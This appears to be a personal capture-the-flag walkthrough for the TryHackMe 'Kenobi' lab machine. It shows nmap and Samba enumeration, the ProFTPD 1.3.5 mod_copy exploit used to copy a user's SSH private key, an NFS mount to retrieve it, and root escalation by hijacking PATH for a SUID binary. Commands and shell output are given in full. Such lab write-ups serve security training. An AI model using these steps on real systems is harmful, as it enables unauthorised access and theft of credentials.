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Walkthrough on exploiting a Linux machine. Enumerate **Samba** for shares, manipulate a **vulnerable version** of **proftpd** and **escalate** your **privileges** with **path variable** manipulation.

Recon

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nmap -T4 -sV -F 10.10.138.164

Starting Nmap 7.92 (https://nmap.org) at 2022-03-23 22:52 PKT

Nmap scan report for 10.10.138.164

Host is up (0.29s latency).

Not shown: 93 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp **ProFTPD 1.3.5**

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu

Linux; protocol 2.0)

80/tcp open http **Apache httpd 2.4.18** ((Ubuntu))

111/tcp open **rpcbind** 2-4 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

2049/tcp open nfs_acl 2-3 (RPC #100227)

Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds

RPC bind Enum

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.138.164

Enumerating Samba for shares

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Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

Using nmap we can enumerate a machine for SMB shares.

Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.138.164

SMB has two ports, 445 and 139.

enum4linux targetip (great script)

smbclient -L 10.10.138.164 (quick listing of shares)

https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/
(great link)

https://book.hacktricks.xyz/pentesting/pentesting-smb
(Pen-testing
SMB)

The Result of NMAP SMB Scan

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse
10.10.138.164
Starting Nmap 7.92 (https://nmap.org) at 2022-03-23 23:16 PKT
Nmap scan report for 10.10.138.164
Host is up (0.27s latency).
PORT
        STATE SERVICE
445/tcp open microsoft-ds
Host script results:
 smb-enum-shares:
   account used: guest
   \\10.10.138.164\IPC$:
      Type: STYPE IPC HIDDEN
      Comment: IPC Service (kenobi server (Samba, Ubuntu))
      Users: 2
      Max Users: <unlimited>
      Path: C:\tmp
     Anonymous access: READ/WRITE
      Current user access: READ/WRITE
   \\10.10.138.164\anonymous:
      Type: STYPE DISKTREE
      Comment:
      Users: 0
      Max Users: <unlimited>
      Path: C:\home\kenobi\share
      Anonymous access: READ/WRITE
      Current user access: READ/WRITE
   \\10.10.138.164\print$:
      Type: STYPE DISKTREE
      Comment: Printer Drivers
     Users: 0
      Max Users: <unlimited>
     Path: C:\var\lib\samba\printers
      Anonymous access: <none>
     Current user access: <none>
```

Nmap done: 1 IP address (1 host up) scanned in 62.41 seconds

Another Easy and Quick Way

smbclient -L 10.10.138.164

Enter WORKGROUP\root's password:

Sharename Type Comment

print\$

Disk Printer Drivers

anonymous Disk
IPC\$ IPC Service (kenobi server (Samba,

Ubuntu))

Reconnecting with SMB1 for workgroup listing.

Server Comment

Workgroup Master

WORKGROUP **KENOBI**

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Note That the webserver appears to be a Trap

Gain initial access with ProFtpd

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ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.

Little Enum

searchsploit ProFTPd 1.3.5

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)
linux/remote/37262.rb

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
linux/remote/36803.py

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py

ProFTPd 1.3.5 - File
Copy
linux/remote/36742.txt

The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

THM said use **NC** (netcat) to connect **ProFtpd**

nc machines_ip 21

log.txt from annonymous share give us Knob user and his SSH key

We're now going to **copy Kenobi**'s private **key** using **SITE CPFR** and **SITE CPTO** commands.

```
ben@cloud ~/Downloads $ nc 10.10.239.150 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.239.150]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

nc 10.10.138.164 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.138.164]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
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We have checked out the mounted var by this cmd: nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.138.164

the /var was the mount

Lets mount the /var/tmp directory to our machine

mkdir /mnt/kenobiNFS mount machine_ip:/var /mnt/kenobiNFS ls -la /mnt/kenobiNFS

Connecting with Private SSH Key

we know from **log.txt** that user is Kenob and his SSH key is stored in **/home/kenobi/.ssh/id_rsa**

so way are going to connect with it

As we have mounted /var

cd /mnt/kenobiNFS/tmp

cp id_rsa /home/esclimited/Downloads/ThmTraining/OffensivePentesting/ Kenobi

cd /home/esclimited/Downloads/ThmTraining/OffensivePentesting/Kenobi

ssh -i id rsa kenobi@10.10.138.164

I have missed something so SSH told me that permissions for id_rsa are too open

Now I have to decrease the permissions

chmod 600 id_rsa

Now I have connected, and submitted the user.txt flag

Privilege Escalation with Path Variable Manipulation

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https://dev.to/florianjisopp/privilege-escalation-with-path-variable-manipulation-dl4

find / -perm -u=s -type f 2>/dev/null to find binaries with SUID perm

menu script was the non standard binary

which executes other 3 binaries one of them was curl

Path variable was editable so we add /**tmp** in \$**PATH** export PATH=/tmp:\$PATH

in short:

- *creating shell call for curl in tmp file
- *because usr/bin/menu is run as root
- *curl is found in menu file
- *write /tmp path in PATH
- *execute menu file
- *pick option1 and run modified curl aka /bin/sh
- *check for id root
- *access flags

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.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh frame
.init_array
.fini array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
kenobi@kenobi:~$ cd /temp
-bash: cd: /temp: No such file or directory
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ ls
curl
systemd-private-fbd31ce57cb044a6ac4c21e1e3593539-systemd-time
kenobi@kenobi:/tmp$ cat curl
/bin/sh
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbir
bin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bir
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local
usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/sna
kenobi@kenobi:/tmp$ menu
***************
1. status check
2. kernel version
ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cd
46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# cat /root/root.txt
177b3cd8562289f37382721c28381f02
# ^C
# ^C
#
```